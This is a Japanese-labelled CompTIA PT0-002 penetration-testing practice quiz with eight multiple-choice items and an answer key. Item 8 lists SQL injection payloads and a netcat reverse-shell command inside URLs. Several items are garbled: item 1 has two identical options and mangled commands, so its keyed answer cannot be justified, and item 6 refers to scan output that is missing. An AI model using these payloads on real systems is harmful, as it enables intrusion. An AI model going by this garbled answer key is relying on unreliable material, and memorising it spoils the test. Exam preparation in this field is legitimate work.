CompTIA PT0-002 問題集

質問 1：
An assessor wants to use Nmap to help map out a stateful firewall rule set. Which of the following scans will the assessor MOST likely run?
A. nmap 192.168.0.1/24
B. nmap 192.168.0.1/24
C. nmapג 192.168.0.1/24
D. nmap oG 192.168.0.1/24
正解：B

質問 2：
A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily with rainbow tables.
Which of the following should be included as a recommendation in the remediation report?
A. Stronger algorithmic requirements
B. Access controls on the server
C. Encryption on the user passwords
D. A patch management program
正解：A

質問 3：
During an assessment, a penetration tester was able Jo get access on all target servers by attempting authentication using a service account key that was published on the intranet site as part of a standard procedure. Which of the following should the penetration tester recommend for this type of finding?
A. Time-of-day restrictions
B. Password encryption
C. Secrets management solution
D. Role-based access control
正解：C

質問 4：
An employee received an email stating that a bank account was deactivated and will expire if the employee does not respond within the next 24 hours. Which of the following attacks best describes this scenario?
A. Tailgating
B. Spear phishing
C. Whaling
D. Email phishing
正解：D

質問 5：
Which of the following BEST describes why a client would hold a lessons-learned meeting with the penetration-testing team?
A. To ensure the penetration-testing team destroys all company data that was gathered during the test
B. To determine any processes that failed to meet expectations during the assessment
C. To discuss the findings and dispute any false positives
D. To provide feedback on the report structure and recommend improvements
正解：B

質問 6：
A penetration tester utilized Nmap to scan host 64.13.134.52 and received the following results:

Based on the output, which of the following services are MOST likely to be exploited? (Choose two.)
A. DNS
B. HTTP
C. SNMP
D. NTP
E. Telnet
F. SMTP
正解：A,B

質問 7：
A penetration tester wants to scan a target network without being detected by the client's IDS. Which of the following scans is MOST likely to avoid detection?
A. nmap -sA -sV --host-timeout 60 192.168.1.10
B. nmap -A -n 192.168.1.10
C. nmap -p0 -T0 -sS 192.168.1.10
D. nmap -f --badsum 192.168.1.10
正解：D
解説: (Topexam メンバーにのみ表示されます)

質問 8：
A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the catalog:
http://company.com/catalog.asp?productid=22
The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes:
http://company.com/catalog.asp?productid=22;WAITFOR DELAY'00:00:05'
Which of the following should the penetration tester attempt NEXT?
A. http://company.com/catalog.asp?productid=22;nc 192.168.1.22 4444 -e /bin/bash
B. http://company.com/catalog.asp?productid=22:EXEC xp_cmdshell 'whoami'
C. http://company.com/catalog.asp?productid=22' UNION SELECT 1,2,3 --
D. http://company.com/catalog.asp?productid=22' OR 1=1 --
正解：C
解説: (Topexam メンバーにのみ表示されます)